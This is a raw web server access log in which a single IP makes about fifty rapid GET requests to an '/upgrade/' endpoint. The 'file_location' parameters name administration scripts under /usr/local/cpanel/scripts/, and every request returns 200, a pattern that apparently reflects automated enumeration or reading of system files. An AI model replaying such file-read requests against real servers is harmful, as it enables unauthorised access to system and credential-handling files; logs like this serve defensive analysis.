45.135.193.11 - - [11/Sep/2026:22:43:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpservice&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39018 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpservice&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixrndc&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43404 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixrndc&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprocess_cpmove&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39618 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fprocess_cpmove&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_tailwatchd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154401 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_tailwatchd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_apachectl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_apachectl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fforcelocaldomain&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38190 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fforcelocaldomain&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmagicloader&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38476 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmagicloader&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsmartcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43490 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsmartcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_roundcube_mysql2sqlite&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 47074 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_roundcube_mysql2sqlite&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_named&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38036 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_named&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixndc&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixndc&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_plugin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39082 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finstall_plugin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_greylisting&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43029 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_greylisting&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fuserdirctl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39650 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fuserdirctl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_valid_server_hostname&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40510 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_valid_server_hostname&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomparecdb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38510 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomparecdb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitacls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39723 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitacls&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpanel_php_fpm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154640 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpanel_php_fpm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fccs-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39505 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fccs-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanupinterchange&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38925 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanupinterchange&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealrawchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37854 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealrawchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_base&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154285 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_base&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupmailserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupmailserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funblockip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38118 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funblockip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvps_optimizer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40727 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvps_optimizer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:09 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2Fphp_sandbox HTTP/1.1" 200 6142 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2Fphp_sandbox" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcreate_default_featurelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37768 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcreate_default_featurelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frefresh-dkim-validity-cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40063 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frefresh-dkim-validity-cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsysup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsysup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_exim_rejects&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_exim_rejects&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39205 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flog_retention&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 44803 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flog_retention&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_crontab_permissions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_crontab_permissions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpatchfdsetsize&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38884 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpatchfdsetsize&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fphpini_tidy&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37880 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fphpini_tidy&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfertool&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfertool&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdisable_prelink&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38980 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdisable_prelink&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_export&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39969 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flocale_export&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fproxydomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40645 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fproxydomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpsrvd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cpsrvd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_crond&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154400 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_crond&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdovecot_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40815 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdovecot_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixtlsversions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffixtlsversions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpost_snapshot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38908 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpost_snapshot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cphulkd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154341 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_cphulkd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamassassindisable&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamassassindisable&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_api_spec_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38081 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fverify_api_spec_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_extra_marketing&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37754 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_extra_marketing&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpost_sync_cleanup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40228 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpost_sync_cleanup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
